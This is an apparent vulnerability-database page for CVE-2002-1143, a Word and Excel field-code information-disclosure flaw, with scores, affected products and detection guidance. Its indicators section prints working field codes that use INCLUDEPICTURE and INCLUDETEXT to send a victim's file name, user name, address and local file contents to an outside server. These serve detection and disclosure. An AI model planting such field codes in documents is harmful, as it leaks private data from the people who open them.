cbcvebase.
CVE-2002-1143
published 2003-04-11

CVE-2002-1143: Microsoft Word and Excel allow remote attackers to steal sensitive information via certain field codes that insert the information when the document is…

PriorityP434medium5CVSS 2.0
AVNACLAuNCPINAN
EXPLOIT
EPSS
53.56%
98.9th percentile
Microsoft Word and Excel allow remote attackers to steal sensitive information via certain field codes that insert the information when the document is returned to the attacker, as demonstrated in Word using (1) INCLUDETEXT or (2) INCLUDEPICTURE, aka "Flaw in Word Fields and Excel External Updates Could Lead to Information Disclosure."

Affected

6 ranges
VendorProductVersion rangeFixed in
microsoftexcel
microsoftword
microsoftword
microsoftword
microsoftword
microsoftword

Detection & IOCsextracted from sources · hover to see the quote

command{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d }
command{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { USERNAME } & { USERADDRESS } } \d }
command{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\\a.txt" "c:\\a.txt" } \* MERGEFORMAT } = "" "" \* MERGEFORMAT }
otherCPicLocation property: 6A03
bytes
0x14 0x01 0x15
  • Detect Word OLE2 documents (.doc) containing INCLUDEPICTURE or INCLUDETEXT field codes referencing external URLs or local file paths — no macros, exploits, or active content required for the attack to succeed.
  • Inspect the WordDocument stream for the anomalous byte sequence 0x14 0x01 0x15 within an INCLUDEPICTURE field — this is the picture placeholder used to trigger the external URL fetch via the Data stream SHAPEFILE form.
  • Monitor outbound HTTP GET requests from Microsoft Word processes (WINWORD.EXE) carrying the MSOffice User-Agent string to external PHP scripts or unexpected hosts — this is the exfiltration channel for victim software profiling.
  • Flag Word documents containing INCLUDETEXT field codes referencing local file paths (e.g., c:\a.txt) nested inside IF or INCLUDEPICTURE/QUOTE field structures — these are used to exfiltrate local file contents when the document is returned to the attacker.
  • Alert on Word documents using 'dde' link group fields as a potential bypass of patches addressing INCLUDETEXT-based information disclosure.
  • ·The INCLUDEPICTURE link in the field code is in Unicode, causing Word to ignore it — the actual malicious URL is stored in the SHAPEFILE form in the Data stream, not in the visible field text. Detection must inspect the Data stream, not just the field text.
  • ·Microsoft did not acknowledge this as a vulnerability but fixed the problem only in mobile versions of Office; the Windows desktop version may remain susceptible depending on configuration.
  • ·The attack requires the victim to send back the updated document for INCLUDETEXT-based file exfiltration to succeed — passive network monitoring alone is insufficient for that variant.
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